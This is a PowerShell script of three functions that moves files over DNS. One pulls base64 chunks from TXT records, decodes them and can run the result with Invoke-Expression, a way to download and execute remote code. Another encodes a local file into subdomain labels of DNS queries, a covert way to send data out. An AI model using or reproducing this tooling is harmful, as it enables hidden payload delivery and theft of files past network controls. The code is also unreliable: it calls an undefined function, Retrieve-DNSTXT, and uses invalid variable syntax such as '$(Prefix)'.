Function Get-DNSTXT { [CmdletBinding()] param( [string] $Domain ) return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim() } Function Get-DNSFile { [CmdletBinding()] param( [string] $Filename = $(Read-Host -Prompt 'Enter a Filename'), [string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName'), [switch] $Execute, [switch] $Write, [string] $OutPath ) $count = [int](Retrieve-DNSTXT -Domain "$Filename.count.$DNSName") $file_base64 = "" For ($i=0; $i -le $count; $i++) { $file_base64 += (Retrieve-DNSTXT -Domain "$Filename.$i.$DNSName") } "Base64 $file_base64" $file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64)) "String $file_string" If ($Execute.IsPresent) { $file_string | Invoke-Expression } Else { $file_string | Out-String } If ($Write.IsPresent) { $file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath] } } function Push-DNSFile { [CmdletBinding()] param( [string] $Filename = $(Read-Host -Prompt 'Enter a Filename'), [string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName'), [string] $Prefix = "" ) $content_binary = Get-Content -Path $Filename -Encoding utf8 $content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary)) $i = 0 While ($content_base64) { $url = ".$(Prefix)$(i)0.$(DNSName)" $len = 63 - $url.Length $content_part = $content_base64.Substring(0, $len) $content_base64 = $content_base64.Substring($len) Get-DNSTXT -Domain ($content_part + $url) $i++ } }